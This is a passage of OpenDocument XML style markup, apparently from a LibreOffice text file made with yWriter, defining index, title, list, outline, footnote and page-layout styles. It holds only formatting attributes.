style:name="Object_20_index_20_1" style:display-name="Object index 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="13.601cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Table_20_index_20_heading" style:display-name="Table index heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style style:name="Table_20_index_20_1" style:display-name="Table index 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="13.601cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Bibliography_20_Heading" style:display-name="Bibliography Heading" style:family="paragraph" style:parent-style-name="Heading" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="16pt" fo:font-weight="bold"/> </style:style> <style:style style:name="Bibliography_20_1" style:display-name="Bibliography 1" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="13.601cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_6" style:display-name="User Index 6" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.496cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="11.105cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_7" style:display-name="User Index 7" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="2.995cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="10.606cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_8" style:display-name="User Index 8" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="3.494cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="10.107cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_9" style:display-name="User Index 9" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="3.993cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="9.608cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="User_20_Index_20_10" style:display-name="User Index 10" style:family="paragraph" style:parent-style-name="Index" style:class="index"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="4.493cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"> <style:tab-stops> <style:tab-stop style:position="9.109cm" style:type="right" style:leader-style="dotted" style:leader-text="."/> </style:tab-stops> </style:paragraph-properties> </style:style> <style:style style:name="Title" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Subtitle" style:class="chapter" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:line-height="200%" fo:text-align="center" style:justify-single-word="false" fo:text-indent="0cm" style:auto-text-indent="false" style:page-number="auto" fo:background-color="transparent" fo:padding="0cm" fo:border="none" text:number-lines="false" text:line-number="0"> <style:tab-stops/> <style:background-image/> </style:paragraph-properties> <style:text-properties fo:text-transform="uppercase" fo:font-weight="normal" style:letter-kerning="false"/> </style:style> <style:style style:name="Subtitle" style:family="paragraph" style:parent-style-name="Title" style:class="chapter" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0cm" fo:margin-bottom="0cm" style:page-number="auto"/> <style:text-properties fo:font-variant="normal" fo:text-transform="none" fo:letter-spacing="normal" fo:font-style="italic" fo:font-weight="normal"/> </style:style> <style:style style:name="Quotations" style:family="paragraph" style:parent-style-name="Text_20_body" style:class="html" style:master-page-name=""> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0.499cm" fo:margin-right="0.499cm" fo:margin-top="0cm" fo:margin-bottom="0.499cm" fo:text-indent="0cm" style:auto-text-indent="false" style:page-number="auto"/> </style:style> <style:style style:name="Preformatted_20_Text" style:display-name="Preformatted Text" style:family="paragraph" style:parent-style-name="Standard" style:class="html"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0cm" fo:margin-bottom="0cm"/> </style:style> <style:style style:name="Horizontal_20_Line" style:display-name="Horizontal Line" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="html"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin-top="0cm" fo:margin-bottom="0.499cm" style:border-line-width-bottom="0.002cm 0.035cm 0.002cm" fo:padding="0cm" fo:border-left="none" fo:border-right="none" fo:border-top="none" fo:border-bottom="0.039cm double #808080" text:number-lines="false" text:line-number="0"/> <style:text-properties fo:font-size="6pt"/> </style:style> <style:style style:name="List_20_Contents" style:display-name="List Contents" style:family="paragraph" style:parent-style-name="Standard" style:class="html"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="1cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="List_20_Heading" style:display-name="List Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="List_20_Contents" style:class="html"> <style:paragraph-properties loext:contextual-spacing="false" fo:margin="100%" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="0cm" fo:margin-bottom="0cm" fo:text-indent="0cm" style:auto-text-indent="false"/> </style:style> <style:style style:name="yWriter_20_mark" style:display-name="yWriter mark" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#008000" fo:font-size="10pt"/> </style:style> <style:style style:name="yWriter_20_mark_20_unused" style:display-name="yWriter mark unused" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#808080" fo:font-size="10pt"/> </style:style> <style:style style:name="yWriter_20_mark_20_notes" style:display-name="yWriter mark notes" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#0000ff" fo:font-size="10pt"/> </style:style> <style:style style:name="yWriter_20_mark_20_todo" style:display-name="yWriter mark todo" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Standard" style:class="text"> <style:text-properties fo:color="#b22222" fo:font-size="10pt"/> </style:style> <style:style style:name="Footnote_20_Symbol" style:display-name="Footnote Symbol" style:family="text"/> <style:style style:name="Page_20_Number" style:display-name="Page Number" style:family="text"> <style:text-properties fo:font-size="7pt" fo:letter-spacing="0.071cm" fo:font-weight="bold"/> </style:style> <style:style style:name="Caption_20_characters" style:display-name="Caption characters" style:family="text"/> <style:style style:name="Drop_20_Caps" style:display-name="Drop Caps" style:family="text"/> <style:style style:name="Numbering_20_Symbols" style:display-name="Numbering Symbols" style:family="text"/> <style:style style:name="Bullet_20_Symbols" style:display-name="Bullet Symbols" style:family="text"> <style:text-properties style:font-name="StarSymbol" fo:font-size="9pt"/> </style:style> <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"> <style:text-properties fo:color="#000080" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color"/> </style:style> <style:style style:name="Visited_20_Internet_20_Link" style:display-name="Visited Internet Link" style:family="text"> <style:text-properties fo:color="#800000" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color"/> </style:style> <style:style style:name="Placeholder" style:family="text"> <style:text-properties fo:font-variant="small-caps" fo:color="#008080" style:text-underline-style="dotted" style:text-underline-width="auto" style:text-underline-color="font-color"/> </style:style> <style:style style:name="Index_20_Link" style:display-name="Index Link" style:family="text"/> <style:style style:name="Endnote_20_Symbol" style:display-name="Endnote Symbol" style:family="text"/> <style:style style:name="Line_20_numbering" style:display-name="Line numbering" style:family="text"> <style:text-properties style:font-name="Courier New" fo:font-size="8pt"/> </style:style> <style:style style:name="Main_20_index_20_entry" style:display-name="Main index entry" style:family="text"> <style:text-properties fo:font-weight="bold" style:font-weight-asian="bold" style:font-weight-complex="bold"/> </style:style> <style:style style:name="Footnote_20_anchor" style:display-name="Footnote anchor" style:family="text"> <style:text-properties style:text-position="super 58%"/> </style:style> <style:style style:name="Endnote_20_anchor" style:display-name="Endnote anchor" style:family="text"> <style:text-properties style:text-position="super 58%"/> </style:style> <style:style style:name="Rubies" style:family="text"> <style:text-properties fo:font-size="6pt" style:font-size-asian="6pt" style:font-size-complex="6pt"/> </style:style> <style:style style:name="Emphasis" style:family="text"> <style:text-properties fo:font-style="italic" fo:background-color="transparent"/> </style:style> <style:style style:name="Citation" style:family="text"> <style:text-properties fo:font-style="italic"/> </style:style> <style:style style:name="Strong_20_Emphasis" style:display-name="Strong Emphasis" style:family="text"> <style:text-properties fo:font-variant="normal" fo:text-transform="none" fo:font-weight="bold"/> </style:style> <style:style style:name="Source_20_Text" style:display-name="Source Text" style:family="text"/> <style:style style:name="Example" style:family="text"/> <style:style style:name="User_20_Entry" style:display-name="User Entry" style:family="text"/> <style:style style:name="Variable" style:family="text"> <style:text-properties fo:font-style="italic" style:font-style-asian="italic" style:font-style-complex="italic"/> </style:style> <style:style style:name="Definition" style:family="text"/> <style:style style:name="Teletype" style:family="text"/> <style:style style:name="Frame" style:family="graphic"> <style:graphic-properties text:anchor-type="paragraph" svg:x="0cm" svg:y="0cm" style:wrap="parallel" style:number-wrapped-paragraphs="no-limit" style:wrap-contour="false" style:vertical-pos="top" style:vertical-rel="paragraph-content" style:horizontal-pos="center" style:horizontal-rel="paragraph-content"/> </style:style> <style:style style:name="Graphics" style:family="graphic"> <style:graphic-properties text:anchor-type="paragraph" svg:x="0cm" svg:y="0cm" style:wrap="none" style:vertical-pos="top" style:vertical-rel="paragraph" style:horizontal-pos="center" style:horizontal-rel="paragraph"/> </style:style> <style:style style:name="OLE" style:family="graphic"> <style:graphic-properties text:anchor-type="paragraph" svg:x="0cm" svg:y="0cm" style:wrap="none" style:vertical-pos="top" style:vertical-rel="paragraph" style:horizontal-pos="center" style:horizontal-rel="paragraph"/> </style:style> <style:style style:name="Formula" style:family="graphic"> <style:graphic-properties text:anchor-type="as-char" svg:y="0cm" style:vertical-pos="top" style:vertical-rel="baseline"/> </style:style> <style:style style:name="Labels" style:family="graphic" style:auto-update="true"> <style:graphic-properties text:anchor-type="as-char" svg:y="0cm" fo:margin-left="0.201cm" fo:margin-right="0.201cm" style:protect="size position" style:vertical-pos="top" style:vertical-rel="baseline"/> </style:style> <text:outline-style style:name="Outline"> <text:outline-level-style text:level="1" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="2" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="3" text:style-name="Zeichenformat" style:num-format=""> <style:list-level-properties/> </text:outline-level-style> <text:outline-level-style text:level="4" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="5" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="6" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="7" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="8" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="9" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> <text:outline-level-style text:level="10" style:num-format=""> <style:list-level-properties text:min-label-distance="0.381cm"/> </text:outline-level-style> </text:outline-style> <text:list-style style:name="Numbering_20_1" style:display-name="Numbering 1"> <text:list-level-style-number text:level="1" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="2" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="0.499cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="3" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="0.999cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="4" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="1.498cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="5" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="1.997cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="6" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="2.496cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="7" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="2.995cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="8" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="3.494cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="9" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="3.994cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> <text:list-level-style-number text:level="10" text:style-name="Numbering_20_Symbols" style:num-suffix="." style:num-format="1"> <style:list-level-properties text:space-before="4.493cm" text:min-label-width="0.499cm"/> </text:list-level-style-number> </text:list-style> <text:list-style style:name="List_20_1" style:display-name="List 1"> <text:list-level-style-bullet text:level="1" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="2" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="0.395cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="3" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="0.79cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="4" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="1.185cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="5" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="1.581cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="6" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="1.976cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="7" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="2.371cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="8" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="2.766cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="9" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="3.161cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="10" text:style-name="Numbering_20_Symbols" text:bullet-char="•"> <style:list-level-properties text:space-before="3.556cm" text:min-label-width="0.395cm"/> <style:text-properties style:font-name="StarSymbol"/> </text:list-level-style-bullet> </text:list-style> <text:list-style style:name="List_20_2" style:display-name="List 2"> <text:list-level-style-bullet text:level="1" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.3cm" fo:text-indent="-0.3cm" fo:margin-left="0.3cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="2" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.6cm" fo:text-indent="-0.3cm" fo:margin-left="0.6cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="3" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.9cm" fo:text-indent="-0.3cm" fo:margin-left="0.9cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="4" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="1.199cm" fo:text-indent="-0.3cm" fo:margin-left="1.199cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="5" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="1.499cm" fo:text-indent="-0.3cm" fo:margin-left="1.499cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="6" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="1.799cm" fo:text-indent="-0.3cm" fo:margin-left="1.799cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="7" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="2.101cm" fo:text-indent="-0.3cm" fo:margin-left="2.101cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="8" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="2.401cm" fo:text-indent="-0.3cm" fo:margin-left="2.401cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="9" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="2.701cm" fo:text-indent="-0.3cm" fo:margin-left="2.701cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="10" text:style-name="Numbering_20_Symbols" text:bullet-char="–"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="3cm" fo:text-indent="-0.3cm" fo:margin-left="3cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> </text:list-style> <text:list-style style:name="List_20_3" style:display-name="List 3"> <text:list-level-style-bullet text:level="1" text:style-name="Numbering_20_Symbols" text:bullet-char="☑"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.395cm" fo:text-indent="-0.395cm" fo:margin-left="0.395cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="2" text:style-name="Numbering_20_Symbols" text:bullet-char="□"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.79cm" fo:text-indent="-0.395cm" fo:margin-left="0.79cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="3" text:style-name="Numbering_20_Symbols" text:bullet-char="☑"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.395cm" fo:text-indent="-0.395cm" fo:margin-left="0.395cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="4" text:style-name="Numbering_20_Symbols" text:bullet-char="□"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.79cm" fo:text-indent="-0.395cm" fo:margin-left="0.79cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="5" text:style-name="Numbering_20_Symbols" text:bullet-char="☑"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.395cm" fo:text-indent="-0.395cm" fo:margin-left="0.395cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="6" text:style-name="Numbering_20_Symbols" text:bullet-char="□"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.79cm" fo:text-indent="-0.395cm" fo:margin-left="0.79cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="7" text:style-name="Numbering_20_Symbols" text:bullet-char="☑"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.395cm" fo:text-indent="-0.395cm" fo:margin-left="0.395cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="8" text:style-name="Numbering_20_Symbols" text:bullet-char="□"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.79cm" fo:text-indent="-0.395cm" fo:margin-left="0.79cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="9" text:style-name="Numbering_20_Symbols" text:bullet-char="☑"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.395cm" fo:text-indent="-0.395cm" fo:margin-left="0.395cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> <text:list-level-style-bullet text:level="10" text:style-name="Numbering_20_Symbols" text:bullet-char="□"> <style:list-level-properties text:list-level-position-and-space-mode="label-alignment"> <style:list-level-label-alignment text:label-followed-by="listtab" text:list-tab-stop-position="0.79cm" fo:text-indent="-0.395cm" fo:margin-left="0.79cm"/> </style:list-level-properties> <style:text-properties fo:font-family="OpenSymbol"/> </text:list-level-style-bullet> </text:list-style> <text:notes-configuration text:note-class="footnote" text:citation-style-name="Footnote_20_Symbol" text:citation-body-style-name="Footnote_20_anchor" style:num-format="1" text:start-value="0" text:footnotes-position="page" text:start-numbering-at="page"/> <text:notes-configuration text:note-class="endnote" text:citation-style-name="Endnote_20_Symbol" text:citation-body-style-name="Endnote_20_anchor" text:master-page-name="Endnote" style:num-format="1" text:start-value="0"/> <text:linenumbering-configuration text:style-name="Line_20_numbering" text:number-lines="false" text:offset="0.499cm" style:num-format="1" text:number-position="left" text:increment="5"/> </office:styles> <office:automatic-styles> <style:page-layout style:name="Mpm1"> <style:page-layout-properties fo:page-width="21.001cm" fo:page-height="29.7cm" style:num-format="1" style:paper-tray-name="[From printer settings]" style:print-orientation="portrait" fo:margin-top="3.2cm" fo:margin-bottom="2.499cm" fo:margin-left="2.701cm" fo:margin-right="3cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:columns fo:column-count="1" fo:column-gap="0cm"/> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style> <style:header-footer-properties fo:min-height="1.699cm" fo:margin-left="0cm" fo:margin-right="0cm" fo:margin-top="1.199cm" style:shadow="none" style:dynamic-spacing="false"/> </style:footer-style> </style:page-layout> <style:page-layout style:name="Mpm2"> <style:page-layout-properties fo:page-width="21.001cm" fo:page-height="29.7cm" style:num-format="1" style:print-orientation="portrait" fo:margin-top="2cm" fo:margin-bottom="2cm" fo:margin-left="2.499cm" fo:margin-right="2.499cm" style:shadow="none" fo:background-color="transparent" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:background-image/> <style:columns fo:column-count="1" fo:column-gap="0cm"/> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> <style:page-layout style:name="Mpm3" style:page-usage="left"> <style:page-layout-properties fo:page-width="21.001cm" fo:page-height="29.7cm" style:num-format="1" style:print-orientation="portrait" fo:margin-top="2cm" fo:margin-bottom="1cm" fo:margin-left="2.499cm" fo:margin-right="4.5cm" style:writing-mode="lr-tb" style:layout-grid-color="#c0c0c0" style:layout-grid-lines="20" style:layout-grid-base-height="0.706cm" style:layout-grid-ruby-height="0.353cm" style:layout-grid-mode="none" style:layout-grid-ruby-below="false" style:layout-grid-print="false" style:layout-grid-display="false" style:footnote-max-height="0cm"> <style:footnote-sep style:width="0.018cm" style:distance-before-sep="0.101cm" style:distance-after-sep="0.101cm" style:adjustment="left" style:rel-width="25%" style:color="#000000"/> </style:page-layout-properties> <style:header-style/> <style:footer-style/> </style:page-layout> <style:page-layout style:name="Mpm4" style:page-usage="right"> <style:page-layout-properties fo:page-width="21.001cm" 